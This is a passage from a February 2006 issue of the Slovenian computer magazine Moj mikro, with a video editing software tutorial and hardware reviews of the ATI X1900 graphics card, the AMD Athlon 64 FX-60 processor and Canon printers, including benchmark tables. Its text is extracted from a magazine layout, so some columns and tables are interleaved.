tako, kot si vrstijo koraki in meniji v vmesniku video urejevalnika. Pri opisu korakov bom izpustil delo s čarovnikom, saj ga v resnici sploh ne potrebujete. Če ga že uporabite, pa vas bo tako ali tako peljal za roko skozi vse korake in nikjer ni nobenega dvoma, kaj morate storiti, da bo proces pripeljan do konca oziroma do končnega izdelka – na DVD zapisanega filma. Najprej pogled na priloženi CD, namestitev programa in že si bomo lahko skupaj ogledali, kako in kaj. • Zajem videa (Capture) V tem delu imate nekaj možnosti. Zajem videa iz poljubnega vira (kamera, VCR ...), uvoz posnetkov z video DVD-ja in pregled vsebine videokasete ter zajem videa (in seveda njegov prenos na trdi disk). Pri tem ni treba razmišljati o formatih zapisa, saj program vse postori tako, kot je potrebno za nadaljnje delo. • Urejanje (Edit) 52 V tem delu je na voljo vse, kar želite početi z video posnetkom − od rezanja, deljenja scen do spajanja, premikanja ... Vstavljate lahko fotografije, popravljate barve in še kaj. Vse je naravnano na preproste izbire, premikanje drsnikov in odločanje, kdaj je kaj tako. kot želite. Praktično vse je mogoče doseči s kazalcem in premakniti z miško. Preprosteje tega zares ni mogoče početi. Le igrajte se z možnostmi, saj se originalnemu posnetku na trdem disku ne bo zgodilo nič, kljub vsem operacijam, ki jih boste uporabili. Vse spremembe so shranjene kot nov projekt. Vse napravljeno pa lahko tudi zelo hitro vrnete v prvotno stanje. In ko vam zmanjka idej ali časa vas čaka naslednji korak. • Posebni učinki (Effect) Tukaj se skrivajo vsi prehodi med kadri, filtri za video, posebni učinki, ki jih je ogromno. Če želite videti, kaj vam program ponuja, bo treba zadeve preizkusiti. Nič lažjega, saj so vse izbire nazorno prikazane in vidne takoj, ko jih uporabite. Le tako se boste lahko pozneje odločali, kaj v resnici tudi uporabiti na svojih video posnetkih. Vse skupaj je podobno igri in zlaganju lego kock. Vse je poenostavljeno, kolikor je le mogoče. Ko ste zadovoljni z videzom videa, pa se že lahko podate v nekoliko zahtevnejše vode. • Plasti (Layer) Šele tukaj zadeva postane tudi na oko nekoliko resnejša. Ampak nikakor ne zapletena. Časovni trak, v katerega je vnesen vaš film, je pregleden, prazna polja pod njim pa s precej očitnimi piktogrami nakazujejo na možnosti. Tukaj je mogoče prekriti dva filma v celoti ali dodati sliko v sliki. Še bolje. Video v video. Enega prek drugega, ali vsaj na določenem delu. Zadeva je sila uporabna tudi, če hočete opozoriti na določeno podrobnost, saj lahko to v posebnem oknu povečate, kolikor želite. Tako dosežemo zanimive učinke ali prehode med kadri. Seveda je mogoče vnašati tudi fotografije, tukaj pa lahko tudi že dodajate glasbo. Ali pa pozneje, kar vam je ljubše. Ja, še vedno je vse podobno igračkanju. Na časovnem traku samo prijemljite vse, kar vam pade na pamet, in premikajte z miško. Primi in spusti je tukaj zapoved dneva. Gre? Končali? Potem gremo naprej. • Naslovi (Title) In že smo pri naslovih. Ne samo glavnem, tudi podnaslovi so mogoči. Navadni, torej statični, pa animirani, lahko pa izdelate svoje v risarskem programu in jih dodajate po moli volji med kadri ali čeznje. Nič lažjega. Veliko lažje kot igra Solitair. Ta del bo hitro za vami in prav je tako. moj mikro | 2 | februar | 2006 PODROBNEJE O... digitalni filmi • Avdio (Audio) Ta del vam daje nekoliko več možnosti za dodajanje zvokov in glasbe. Vir je lahko datoteka, CD ali pa preprosto posnamete komentarje. Ja, seveda. Mikrofon potrebujete v tem primeru. Potem le premikate zvočne posnetke po časovni liniji in tako določate kdaj se bo kaj tudi slišalo med predvajanjem filma. Zadeva je tako preprosta, da skoraj ni več kaj reči na to temo. Malo še pobrskajte po menijih, saj boste še kaj našli. V glavnem pa je to to. • Delite svoje umetnine z drugimi (Share) Deljenje z drugimi je posrečen naziv zadnjega koraka. Na voljo pa je precej možnosti. Svoj izdelek lahko shranite kot datoteko oziroma kot video zapis, kot zvočni zapis, vse zapečete na optični medij (navadno je to DVD, si ogledate ves projekt, izvozite video v enega od množice podprtih formatov, shranite kot spletni video zapis ali posnamete vse skupaj nazaj na videokaseto z videokamero. Slednja možnost je pri nekaterih kamerah onemogočena. Z nekaj doplačila v servisu pa vam bodo pri večini modelov omogočili tudi to, če to ni dostopno že ob nakupu kamere. Ob zapisu na DVD vas čaka samo še določitev izdelave menijev ali pa tudi ne, določitev vrste zapisa (DVD, VCD, SVCD) in zapis na optični medij. Preden pritisnete na ikono »Zapeci«, pa si še vedno lahko premislite in kakšno zadevo popravite ali opravite nekoliko drugače. Seveda to še ni vse. No, v glavnem je, a na voljo je še več. Poljubno lahko namreč uvažate fotografije in video posnetke, določate to in ono, toda to je že zadeva, ki se je boste lotili nekoliko pozneje. Morda še ne pri prvem projektu, vsekakor pa kmalu. Odkrivanje ostalih možnosti pa naj vam bo zabava za dolge večere, ko ni kaj prida dobrih filmov na TV-zaslonih. Takrat je namreč pravi čas, da izdelate svoje. V zadnjih letih sem preizkusil kar nekaj tovrstnih programov − poceni in zelo dragih. In verjemite, preprosteje kot s pravkar opisanim skoraj ne gre, vsaj ne za takšno, razmeroma nizko ceno. Program vam bo zadoščal za dolgo časa. Če se bodo vaše ambicije povečale in ga boste prerasli, pa je vsekakor bil in bo odličen program za uvajanje v svet obdelave videa in prehod na zahtevnejše programe, pri katerih je potrebno natančneje poznati vse zakonitosti in ne nazadnje tudi svoje želje. Seveda to ni edini tovrstni program in ni nujno, da bo všeč tudi vam. Ob ogledu in preizkusu vsaj enega tovrstnega programa, pa bo tudi prehod na druge lažji in manj zahteven. • Easy Video Editing v2.1 Podjetje Main Concepts je že kar nekaj časa znano po svoji programski opremi. Trudijo se predvsem približati programsko opremo uporabnikom. S tem programom jim je vsekakor uspelo. Združili so pregleden in preprost vmesnik z zmogljivostmi, ki že precej dišijo po precej resni rabi. Saj niti ni čudno. Tudi za zahtevnejše uporabnike izdelujejo programsko opremo. To so le drugače zavili in namenili domači rabi. Tako je nastal program , ki opravi vse, od zajema filma iz kamere ali drugega vira, vam omogoči urejanje posnetkov, montažo, dodajanje posebnih učinkov in prehodov, glasbe, naslovov in še in še. Podpira vse formate: VCD, SVCD, DV, DVD in HDV. Seveda vse od zajema pa do zapisa na ustrezen medij ali prenos nazaj na medij v videokameri. Uporaba je sila preprosta, vmesnik pa izredno pregleden in prijazen uporabnikom. Vsekakor gre za odličen in dokaj poceni program za urejanje domačih video posnetkov. Uporaba se ne razlikuje prav veliko od zgoraj opisanega postopka. Za pokušnjo pa najdete program tudi na našem CD-ju. • Virtual Dub v1.6.4  Pri prvih projektih zapišite film na prepisljivi medij, in če boste zadovoljni, ga lahko prekopirate na cenejšega za enkratno uporabo. Po nekaj projektih pa boste tako že poznavalec ... Ponovno se srečujemo s tem odličnim brezplačnim programom. Zdaj je tudi že obnovljen in še boljši. Dodan je namestitveni program, ki olajša namestitev manj veščim. Kot smo ugotovili že nič kolikokrat, je ta program nekakšen standard za delo z video zapisi. Sliši se čudno, toda gre za brezplačno profesionalno orodje, ki bo opravilo z vsemi zahtevami zajema videa, kodiranja in odpravljanja prepletanja v enem samem koraku v realnem času. Seveda lahko to storite v kolikor korakih hočete, če vaš računalnik ne zmore toliko obremenitev hkrati. Kot tak je nepogrešljiv pri tovrstnih opravilih. Program je videti dokaj zapleten, dokler se ne navadimo, kaj je kje in kaj čemu namenjeno. Že kratek pregled možnosti pa odpre vaše obzorje in težko se boste odločili za drug program. Tudi zajem videa iz kamer je s tem programom prav udoben, ponuja pa tudi izreden nadzor vseh možnosti, ki jih bo za začetnike skoraj preveč. Kljub temu nič strahu. Lotite se zadeve, preglejte možnosti, razmislite in veliko preizkušajte. Tako bo vaše poznavanje dela s tem programom strmo raslo in kaj kmalu boste mojstrsko obvladali večino operacij. In nastavitve. Pozorni bodite le na to, da boste izbrali ustrezen kodek in filtre, preden izberete ukaz za zajem videa. Tako bo vse opravljeno v eni potezi. V filtrih je treba dodati odstranjevanje prepletanja. Profil shranite, tako boste deležni enakih nastavitev brez posebnega nastavljanja vsakič, ko poženete program. In seveda, najdete ga na našem MikroCD-ju.  53 POD LUPO ATI X1900XT vedno velja za celotno družino X1000, ATI zagotavlja zadostno prepustnost za drastično zmogljivejše procesiranje pik. Zanimivo je, da procesorjev oglišč ostaja 8, toda novejše igre gredo v smer pik, zato povečanje števila teh ni smiselno. Prav tu je tudi jedro razlike med ATI-jem in Nvidio glede pristopa k računalniški grafiki. Do preteklega leta so namreč oboji delali po istih načelih, razlike pa so bile samo v hitrosti in prepustnosti procesorjev oz. cevovodov. Medtem ko je Nvidiin GF7 zmožen obdelati več pik na takt ure, pa zna ATI obdelati več informacij pik na urin takt. X1900 XTX je zmožen obdelati trikrat več informacij o pikah kot X1800 XT! Katera pot je boljša, bodo pokazale razlike v igrah prihodnje generacije, velik vpliv pa bo imel tudi Microsoft, ki s še za letos napovedanim Windows Vista načrtuje temeljite spremembe na področju grafike. 3D Mark 2006 Novi grafični hrust ATI je konec januarja predstavil novinca v družini X1000. Zelo hiter odgovor na Nvidiin GF7800 512 MB se imenuje X1900. Gre za več kot hitrejšo izvedenko družine X1800, saj ima nova serija močno razširjeno senčilno enoto, ki se ponaša s kar 48 senčilniki pik (1800 jih je imel 16). Vse kaže, da je ATI za nekaj mesecev postavil Nvidio na hladno, saj GF7800 512 MB v vseh testih ostaja daleč zadaj. Piše : Jaka Mele jaka.mele@mojmikro.si A TI je po svoji septembrski predstavitvi družine X1000 in uspešno prodajanih modelih X1300, X1600 in X1800 predstavil nadaljevanje. Čeprav je X1800 zmogljivostno krono prevzel šele pred dobrim mesecem splavljeni 512 MB GF7800 GTX, pa je imel ATI odgovor, bolje rečeno protistrup, očitno pripravljen precej vnaprej. Vse torej kaže, da se ATI vrača na svoja pota in da je večmesečna zamuda, ki je nastala pri iskanju napake v novi arhitekturi, dokončno odpravljena in pozabljena. Še več, očitno so imeli atijevci medtem dovolj časa premisliti in pripraviti svojo strategijo tudi za več mesecev vnaprej, in X1900 to vsekakor potrjuje. Poleg omenjenih grafičnih kartic, ki gradijo na procesorjih serij R530, R520 XT, R520 XL in R515, torej ATI presenetljivo hitro predstavlja R580. Osvežitev najmočnejšega izdelka po samo treh mesecih − kaj takega je bilo do zdaj pač nezaslišano. Grafična procesna moč je že zdavnaj presegla potrebe ločljivosti večine računalniških zaslonov 1280 x 1024, in če se sprašujete, zakaj potrebujemo več, je odgovor HD − visoka ločljivost. Igre HD (High Definition) namreč prihajajo, še zlasti pa je to očitno na trgu konzol (spet Xbox). Novinec je na voljo v štirih izvedenkah. Najmočnejši model je X1900 XTX, le ma- 54 lenkost počasnejši pa X1900 XT, ki je hkrati tudi najboljša odločitev glede na razmerje med ceno in zmogljivostjo. Tretji manjkajoči člen za vzporedno delo je glavna (master) kartica X1900 CrossFire za krmiljenje vzporednega dela. Četrta izvedenka je All-In-Wonder X1900, ki pa je ne bo na trgu še nekaj mesecev. Na prvi pogled pogrešamo izvedenko CrossFire najmočnejšega modela XTX, vendar se je ATI odločil, da je ne predstavi. Člani družine X1000 Model Radeon X1900 XTX Radeon X1900 XT Radeon X1900 Crossfire All-In-Wonder X1900 Radeon X1800 XT Radeon X1800 XT Radeon X1800 XL All-In-Wonder 2006 Radeon X1600 XT Radeon X1600 PRO Radeon X1300 PRO Radeon X1300 Radeon X300 HyperMemory Hitrost jedra 650 MHz 625 MHz 625 MHz 500 MHz 625 MHz 625 MHz 500 MHz 445 MHz 590 MHz 500 MHz 600 MHz 450 MHz − Procesor R580 sestavlja kar 380 milijonov tranzistorjev, ima pa 48 senčilnikov pik oziroma procesorjev za pike, medtem ko cevovodov ostaja 16. S spremembo arhitekture, ki še Sredi januarja je FutureMark predstavil osveženo različico testnega programa 3D Mark, priznanega in uveljavljenega med zanesenjaki in preizkuševalci strojne opreme, točneje grafičnih kartic in njihovih zmogljivosti. Tako kot vsako leto smo tudi letos doživeli osvežitev programa, ki prinaša korenite spremembe v vse teste, saj izdatno uporablja funkcije ShaderModel 3.0 in daje konkretno obremenitev in delo tudi najnovejšim grafičnim karticam. Privzeta ločljivost preizkušanja je 1280 x 1024. Zaradi realnejše ocene in lažje primerjave z današnjimi in prihajajočimi igrami v testiranju grafik v celoti prehajamo na nov test. Novi in stari rezultati niso primerljivi. Test vključuje tudi prenovljen in premišljeno zastavljen test procesorske moči, zasnovan tudi za ocenjevanje sposobnosti večjedrnih procesorjev. Podrobnejši opis programa pripravljamo za marčevsko številko Mojega mikra, kjer bomo dobrih 500 MB težak program tudi priložili na CD. Hitrost pomnilnika 1550 MHz 1450 MHz 1450 MHz 960 MHz 1500 MHz 1500 MHz 1000 MHz 1600 MHz 1400 MHz 680 MHz 800 MHz 500 MHz − Pomnilnik 512 MB 512 MB 512 MB 256 MB 512 MB 256 MB 256 MB 256 MB − − − − − Predvidena začetna cena 180.000 SIT 160.000 SIT 170.000 SIT 150.000 SIT 120.000 SIT 90.000 SIT 70.000 SIT 40.000 SIT 35.000 SIT 30.000 SIT 25.000 SIT 22.000 SIT 10.000 SIT ATI X1900 XTX uporablja pomnilniško vodilo ring bus, za katerim stoji 512-bitni pomnilniški krmilnik. Uporablja 256-bitni 8kanalni pomnilnik GDDR3, podpira pa tudi moj mikro | 2 | februar | 2006 POD LUPO ATI X1900XT vedno pa s tihim delovanjem v ospredju GF GDDR4 – kar pomeni, da lahko že konec mar- REZULTATI TESTIRANJA Nove kartice zaradi zajetnega hlajenja zase- 7800 512, ki s skoraj dvakrat večjo vetrnico ca na Cebitu ali pa najkasneje konec poletja pričakujemo osvežen model s tem hitrejšim dajo dve reži, med delom pa uravnavajo hitrost ustvari isti prepih ob bistveno nižjem hrupu. vrtenja ventilatorja, tako da niso preglasne. Še Novi 3Dmark poleg skupnega rezultata loči pomnilnikom. Med prednostmi, ki ATI 3D Mark 2006 X1900XTX X1900XT 7800 GTX,512 7800 GTX 7800 GT X1800XT X1800XL trenutno edini ponuja, je 5081 4315 3894 3774 3230 Indeksni rezultat 5415 5173 vsekakor kombinacija dina2167 1830 1542 1589 1299 SM 2.0 2320 2149 mičnega razpona med sve2038 1753 1466 1653 1237 HDR/SM 3.0 2571 2444 tlimi toni in temnimi toni, imenovana High Dynamic Rezultat je indeksne oblike. Višja številka pomeni boljši rezultat. Testi so izvedeni s privzetimi Range (HDR), s celozaslon- nastavitvami, ločljivost je 1280 x 1024. Sistema: procesor Intel XE 955, matična plošča Intel i975 in skim prilagodljivim mehča- dvokanalni pomnilnik 1 GB DDR2 (Crossfire) ter procesor AMD FX-60, matična plošča K8N Diamond in njem slike (adaptive AA). dvokanalni pomnilnik 1 GB DDR-400 (sli). tudi teste, ki temeljijo na starejšem okolju ShaderModel 2.0, ter novejše v povezavi z okoljem ShaderModel 3.0. in dinamičnim senčenjem HDR. Nova X1900 XTX in XT sta se odrezala odlično, saj je prvi za skoraj 10 odstotkov prehitel najhitrejšo Nvidio, X1900XT pa se je v večini testov uvrstil takoj za XTX-jem, a še vedno pred GF7800 512 MB. XT je le malenkostno počasnejši kot XTX. XTX je največ, kar zna ATI v tem hipu pokazati, tako da je stvar prestižna. Tudi glede količin XTX je vprašljivo, ni pa vprašljiva cena, ki bo znašala preko 180 tisočakov!! KAKO NAPREJ? Crossfire X1900! Kot je zdaj že običajno, je ATI nove modele pripravil tudi za delo v vzporednem načinu. Prvi v Sloveniji smo (tik pred zaključkom redakcije) preizkusili tudi vzporedne zmogljivosti nove serije! 3D Mark 2006 Indeksni rezultat SM 2.0 HDR/SM 3.0 X1900XTX Crossfire 7076 3751 4097 X1900XT Crossfire 6892 3510 3952 7800 GTX,512 SLI 6789 3828 3191 X1800XT Crossfire 5936 3047 3092 Čeprav ATI ne bo dal na trg kartice XTX Crossfire, pa zna XTX v povezavi z master kartico XT Crossfire s hitrostno rezervo obdelati še nekaj XT-jevega dela, s čimer dosega boljše rezultate kot čisti XT Crossfire. Nvidiin par GF7800 512 v SLI-ju zaostaja v skupnem in SM3-testu, medtem ko je še vedno hitrejši v okolju ShaderModel 2.0. Brez zadržkov lahko zapišemo, da je ATI-jev CrossFire dozorel in da lahko od njega z novimi prihajajočimi matičnimi ploščami, ki bodo imele dve reži PCIE 16x,pričakujemo tudi počasno ukinjanje zunanjega povezovalnega priveska. Vse kaže, da Nvidia odgovora na X1900 ne bo imela do Cebita, kjer naj bi predstavila osvežitev družine GF7, konkretneje, model 7900 GTX, ki bo z 32 senčilniki pik poskušal ujeti X1900. Če pa to ne bo mogoče, se utegne čakanje podaljšati še za nekaj mesecev. Vendar pa tudi ATI ne stoji križem rok. Kot vemo, je ATI razvijal grafično srce za Microsoftovo igralno konzolo Xbox 360. Najpomembnejši novosti te platforme sta združitev senčilnikov pik in oglišč ter njihovo preoblikovanje v senčilne procesorje. Že konec leta se lahko nadejamo predstavitve tehnologije tudi na PC-trgu. Tehnologija, imenovana Unified Shaders, pomeni revolucijo na področju računalniške grafike, saj je zmožna dinamično naslavljati potrebe aplikacije oz. igre in v vsakem trenutku delati s polnim potencialom in močjo. Vse kaže, da bo Nvidia potrebovala kar nekaj časa, preden bo predstavila podobno tehnologijo.  w w w.mojmikro.si FORUM NOVICE ČLANKI PREIZKUSILI SMO ensko informacijsko Več novic tako ali drugače povezanih s slov tni strani! srenjo lahko najdete na naši sple 55 POD LUPO AMD Athlon 64 FX-60 Tudi AMD v »ekstremnih« procesorskih vodah AMD-jev odgovor Intelovemu Extreme Edition 955 je prenovljen igričarski procesor FX-60, ki zdaj vsebuje dve jedri. Procesor izkorišča jedri Toledo, frekvenčno pa delujeta pri 2,6 GHz. Preverili smo, kdo je v tem najzahtevnejšem krogu dvojedrnikov boljši! Piše : Jaka Mele jaka.mele@mojmikro.si P riznati je treba, da je Athlon 64 FX-60 zelo podoben Intelovemu XE 955, ne le glede cenovne politike in ciljnega trga, temveč tudi same odločitve, da se v ta skrajni razred, za najzahtevnejše uporabnike, povečini igričarje, poda v dvojedrni izvedenki. AMD je svoje procesorje FX namreč doslej ponujal le v enojedrni različici. Verjetno se imamo za odločitev zahvaliti proizvajalcem grafičnih kartic oz. njihovih gonilnikov, saj so v gonilnikih procesno intenzivne operacije zgledno pretvorili v večnitne zgradbe. S tem so dvojedrni procesorji praktično čez noč postali veliko bolj zaželeni, saj tudi v praksi dosegajo v igrah precej boljše rezultate kot prej. AMD FX-60 je zgrajen z 0,90-nanometrskim procesom in z 2,6 GHz taktom posameznega jedra prinaša le majhno upočasnitev glede na najhitrejše enojedrnike (v svetu FX je to FX57, ki deluje pri 2,8 GHz). Vsako jedro ima 1 MB hitrega predpomnilnika L2. Frekvenca: Vmesnik: Predpomnilnik L2: Pomnilniški krmilnik: Podprt pomnilnik: Proces izdelave: Število tranzistorjev: Energijska poraba: AMD64: NX-bit: Cool’n’Quiet: Cena: 2,6 GHz 939-nožični micro PGA 2 x 1MB 128-bitni, dvokanalni DDR400 SDRAM 90 nm, SOI 233 milijonov 110 W Da Da Da 1031 USD Komunikacijsko sistemsko vodilo Hypertransport deluje pri 1000 MHz. Priznati je treba, da ima AMD velikansko prednost pri uporabnosti, saj tudi ta dvojedrni procesor brez težav delujejo v veliki večini obstoječih matičnih plošč Socket 939. Energijska poraba dvojedrnega Athlona 64 FX-60 je 110 W in le 3 W več kot pri prvem modelu Athlon X2 4800+, ki je deloval pri 2,4 GHz. Tehnologija Cool’n’Quiet dinamično spreminja frekvenco jeder, in če nima dela, hitrosti zniža na 1,2 GHz, ob čimer se poraba zniža na okoli neverjetnih 10 W. AMD nam je 56 potrdil, da bomo v prihodnjih različicah predvsem mobilnih večjedrnih procesorjev videli razširitev tehnologije, ki bo individualno upravljala posamična jedra. Navijanje AMD FX-60 je enostavno, saj AMD ni zaklenil množitelja frekvence (v družini X2 je ta omejitev prisotna). TEST Procesor smo preizkušali v sistemu Windows XP s servisnim paketom 2. Zavestno smo se odločili proti preizkusu v 64-bitnem Windows XP, saj ostaja tam veliko nedorečenega glede gonilnikov, pa tudi nekateri programi ne delujejo tako, kot bi morali. Prav programi za preizkus zmogljivosti so znani po tem, da so občutljivi na strojno opremo in dobro podporo gonilnikov. Test AMD FX-60 PCMark2005 (CPU) 5519 WinRAR+PCMark2005 (Skupno) 4621 WinRAR+WinZIP+PCMark2005 (Skupno) 3953 KDO JE TOREJ ZMAGOVALEC? Če gledamo trenutno stanje in številke, je v goli procesni moči AMD FX-60 zmogljivejši, kar sklepamo iz naprednejše arhitekture, nižje energijske porabe in hladnejšega delovanja. Test PCMark 2005 je bolj naklonjen arhitekturi NetBurst P4, zato v poganjanju ene aplikacije glede na rezultate pričakujemo povečini malenkostno prednost za AMD. Tudi v igrah je glede doseganja vrhuncev podobno. Slika pa se obrne, ko v igrah merimo minimalno povprečje osvežitev (oziroma ko pogledamo trenutke z najnižjimi osvežitvami slike) – tukaj je Intel v prednosti, saj padci hitrosti niso tako drastični kot pri FX-60. Tudi pri sočasni rabi več aplikacij je Intel po zaslugi prepustnejšega pomnilnika ter hitrejše delovne frekvence predvsem pa zaIntel Pentim EE 955 5983 5243 4171 AMD Athlon 64 X2 4800+ 4729 4943 1519 Intel Pentium 840 4623 1948 1400 Test PCMark 2005 prikaže zmogljivost računalnika v klasičnem naboru aplikacij, teste pa smo začinili tako, da smo procesor(ja) dodatno obremenili s procesorsko zahtevnim enojnim ali dvojnim stiskanjem podatkov (WinRAR, WinZIP). Rezultat je indeksni, večja številka pomeni boljši rezultat. Najopaznejša prednost AMD-jevega FX-60 pred Intelovim XE 955, opazna že pred zaključkom testiranja, sta bila manjša poraba energije in s tem hladnejše delovanje. Tudi pod polno obremenitvijo se procesor nikoli ni segrel nad 68 stopinj C. Kaže, da AMD nima težav z električno porabo in segrevanjem, saj FX-60 deluje pri nazivni napetosti 1,3 V, kar je celo manj kot pri predhodnikih. Za primerjavo: Intelov XE 955 ima porabo preko 170 W, temperatura pa dosega tudi 75 stopinj C. AMD FX-60 se je izkazal, toda daje XE 955 v večini testnih programov boljši občutek (kar se pokaže tudi v testu PCMark 2005). Vse kaže, da Intelov HypetThreading in štiri logična jedra poskrbijo za dodatnih nekaj odstotkov, kar se pokaže predvsem pri več sočasnih opravilih. radi HyperThreadinga dosegal boljše rezultate. Intel je imel doslej v svetu XE prednost, saj so imeli ti procesorji več integriranega hitrega predpomnilnika L2 in višjo delovno hitrost, ob ustreznem hlajenju pa so ponujali tudi več prostora za navijanje. Da bi bil AMD resnično konkurenčen v ciljnem krogu uporabnikov, pa bo moral znižati ceno, saj je ta trenutno višja od Intelove (Intel Pentium EE 955 velja 999 USD). Dodatno bi pomagal hitrejši pomnilnik, in ker bo AMD marca na Cebitu predstavil novo platformo M2, ki bo podpirala pomnilnik DDR2, bo morda takrat FX-60 pokazal tisto, kar mu zmanjka danes. Upoštevajmo, da lahko hitrejši pomnilnik rezultate izboljša tudi za 10 odstotkov!  moj mikro | 2 | februar | 2006 POD LUPO fototiskalnik večfunkcijska naprava osebni fototiskalnik Canon DS-810 Canon Pixma MP170 Canon Pixma iP6220 Skupna ocena:  Razmerje cena/kakovost:  Informacije: Avtera, d.o.o. Spletni naslov: www.canon.com Cena: še ni znana Tehnični podatki: Teža: 2,1 kg Mere: 220 x 222 x 99 mm Vmesnik: USB Ločljivost: 4800 x 1200 dpi Format papirja: 15 x 10 cm Hitrost tiskanja: cca 60 sekund Gonilnik: MS Windows Število barv: 3 ZA: Novinec prinaša v primerjavi s predhodnikom kar nekaj sprememb. Glavna je LCD-zaslon, ki omogoča pregled in obdelavo fotografij. A pojdimo od začetka. Canonova serija malih fototiskalnikov DS uporablja v primerjavi s serijo CP brizgalno tehniko za izpis slik, enako kot večina tekmecev, s HewlettPackardom in Epsonom na čelu. Je dokaj velik za mali namizni tiskalnik in bi na prvi pogled pričakovali večji izpis kot 15 x 10 cm. Možnosti, ki jih ima za tiskanje, so dokaj zanimive, pozdravljamo posebno tipko, ki omogoča izdelavo izrezov, eno od najbolj uporabljanih orodij. Poleg izrezov omogoča še samodejno popravljanje barv in kontrasta. Malo manj uporabna je možnost izbire popravljenega posnetka na izpisu, tiskalnik namreč izpiše na list več možnosti popravljene slike in za pravi izpis le izberete želeno. Se pa zato izkaže z dokaj hitrim tiskanjem za tak tip tiskalnikov − za en izpis namreč porabi okoli ene minute. Skupna ocena:  Razmerje cena/kakovost:  Informacije: Canon Adria, d.o.o., Ljubljana Spletni naslov: www.canon.si Cena: 33.000 SIT Tehnični podatki Ločljivost (tiskanje, zajemanje, kopiranje): 4800 x 1200 dpi, 1200 x 2400 dpi Hitrost tiskanja: 22 min čb, 17 min barvno Format papirja: A4 Vmesniki: USB 2.0, vsi tipi pomnilniških kartic, PictBridge Pomnilnik: Ni podatka Gonilniki za: MS Windows, Mac OS X Cena izpisa ene strani: čb 34 SIT (5 % pokritost), barvna 51 SIT (5 % pokritost) Kapaciteta vhodnega in izhodnega predala za papir: 100/25 Mere in teža: 443 x 381 x 181 mm, 5,6 kg Drugo: Tiskanje indeksnega izpisa ZA: Canon je osvežil cenovno najnižje modele tudi v večfunkcijskih brizgalnih napravah in rodila se je Pixma MP170. Nizko ohišje je za Canona povprečne izdelave, a hkrati glede na konkurenco dokaj solidno. Tiskalnik ima zavoljo nižanja stroškov vdelan le črno-beli besedilni zaslon, prek katerega je moč krmiliti funkcije. Zgornji pokrov je moč dvigniti in zajemati ali kopirati do velikosti A4. Preko menijskih gumbov lahko hitro, enostavno in pregledno upravljate s funkcijami tiskalnika. Verjetno najuporabnejša funkcija je tiskanje fotografij iz pomnilniških kartic ali prek povezave PictBridge. Tiskalnik zna izdelati indeksno fotografijo, iz katere lahko izberemo, katere slike želimo natisniti. Kakovost in hitrost tiskalnika sta pohvalni, za kar gre zasluga prenovljeni glavi, ki obvlada fino tiskanje s kapljicami velikosti 2 pl. Pri najboljši kakovosti tiskalnik fotografijo 10 x 15 cm izpiše v manj kot minuti. Izpisi do zelo dobri, tako barvni kot črno-beli. Cena je za to, kar tiskalnik premore, ugodna! PROTI: Kakovost zaslona je zelo slaba in ne PROTI: Tiskanje je zavoljo skupne barvne prikaže pravih barv, tako da je uporaben le za osnovni pregled in nastavitve. V primerjavi s predhodnikom so mu odvzeli možnost prikaza slike na TV-zaslonu, kar je škoda. In še zadnja pripomba: če je kakovost barvnih izpisov na visoki ravni, je pri črno-belih vidno rahlo obarvanje na rjavo. A tak tiskalnik je namenjen predvsem barvnim izpisom. Alan Orlič Belšak kasete (kar sicer pri Canonu ni pogosto) precej dražje od višjih modelov. Tudi z naborom barv smo omejeni, saj tiskalnik ne omogoča razširjanje s fotokasetami, zato je obsežnejše tiskanje fotografij verjetno neprimeren. Pogrešamo funkcijo faksa, saj tudi ta občasno pride prav. Pri delu za optično branje se poznajo odrekanja na račun cene, saj bralnik ne zna zajemati iz filmov oz. diapozitivov. Žalostno je, da so iz naprave izključili samodejni dvostranski tisk (dupleks) ter podajalnik za tisk na CD- oz. optične medije, kar najdemo v dražjih modelih. Pogrešali smo tudi možnost brezžičnega priklopa v tiskalnik (bluetooth, IrDA). Jaka Mele Skupna ocena:  Razmerje cena/kakovost:  Informacije: Canon Adria, d.o.o., Ljubljana Spletni naslov: www.canon.si Cena: 39.990 SIT Tehnični podatki Ločljivost: 4800 x 1200 dpi barvno Hitrost tiskanja: 10 min barvno / 12 čb Format papirja: A4 Vmesniki: Hitri USB 2.0, PictBridge, IrDA, vse pomnilniške kartice Pomnilnik: − Gonilniki za: MS Windows, MAC OS Cena izpisa ene strani: Barvna okoli 42 SIT (5 % pokritost), čb 33 SIT (5 % pokritost) Kapaciteta vhodnega in izhodnega predala za papir: 100/25 Mere in teža: 438 x 260 x 172 mm, 3,7 kg Dodatno: Modul bluetooth ZA: Fototiskalnik Pixma iP6220 je predstavnik najnižjega cenovnega razreda. Ponuditi zna vse osnovne funkcije, potrebne za izpise fotografij. Čeprav po hitrostih izpisov ne izstopa, pa je rezultat, še pri izpisu fotografije, odličen. Upravljanje tiskalnika je zaradi velikega 6,3 cm barvnega zaslona enostavno in hitro. Za to gre zahvala 2 pl sistemu tiska in novim kartušam tehnologije FINE, ki imajo vso logiko dodano na samo kartušo. Kartuša ima dve ločeni reži tako za brizganje pigmenta kot barve, vsebuje pa 6 barv, po specifikaciji ChromaLife100, kar zagotavlja dolgo obstojnost izpisov. Foto izpis velikosti 10 x 15 pri najvišji kakovosti se tiska okoli 60 sekund. Tiskalnik obvlada brezrobo tiskanje od majhnih do A4-izpisov. Zaradi povezav PictBridge in IrDA zna tiskalnik tiskati tudi brez uporabe računalnika neposredno iz kamere ali digitalnega fotoaparata. Z nakupom dodatne enote bluetooth je moč tiskati tudi iz mobilnih telefonov. PROTI: Oblika in kakovost izdelave tiskal- nika daje hitro vedeti, v katero cenovno skupino naprava sodi. Žal skupna barvna kartuša pomeni višje stroške potrošnega materiala. Tiskalnik ne omogoča samodejnega dvostranskega tiskanja niti tiska na optične medije. Hitrost izpisa bi bila lahko višja. Tudi sicer je cena tiskalnika za ponujeno previsoka. Jaka Mele 57 POD LUPO matična plošča omrežna videokamera hi-fi DVD-snemalnik ASUS A8R-MVP Sony SNC-M3 Gorenje DVR-2000X Skupna ocena:  Razmerje cena/kakovost:  Informacije: Acord-92, d.o.o., Ljubljana Spletni naslov: www.asus.com Cena: okoli 30.000 SIT Tehnični podatki Vezni čip: AMD Radeon Xpress 200 CrossFire Platforma in CPU: AMD Socket 939, 1 CPU Pomnilnik: 4 reže DDR400, do 4 GB Razširitvene reže: 3x PCI, 1x PCIE x1, 2x PCIE x16 Integrirane funkcije: 6x vrat USB 2.0, 1x vrata FireWire, krmilnik Serial ATA, 3 GB/s, gigabitni omrežni adapter, osemkanalni zvok, 7.1, dvokanalni krmilnik za pomnilnik ZA: ASUS je bil poleg Sapphira in DFI-ja eden prvih partnerjev kanadskega ATI-ja, ki je predstavil na veznem naboru (severni most) ATI Radeon Xpress 200 CrossFire 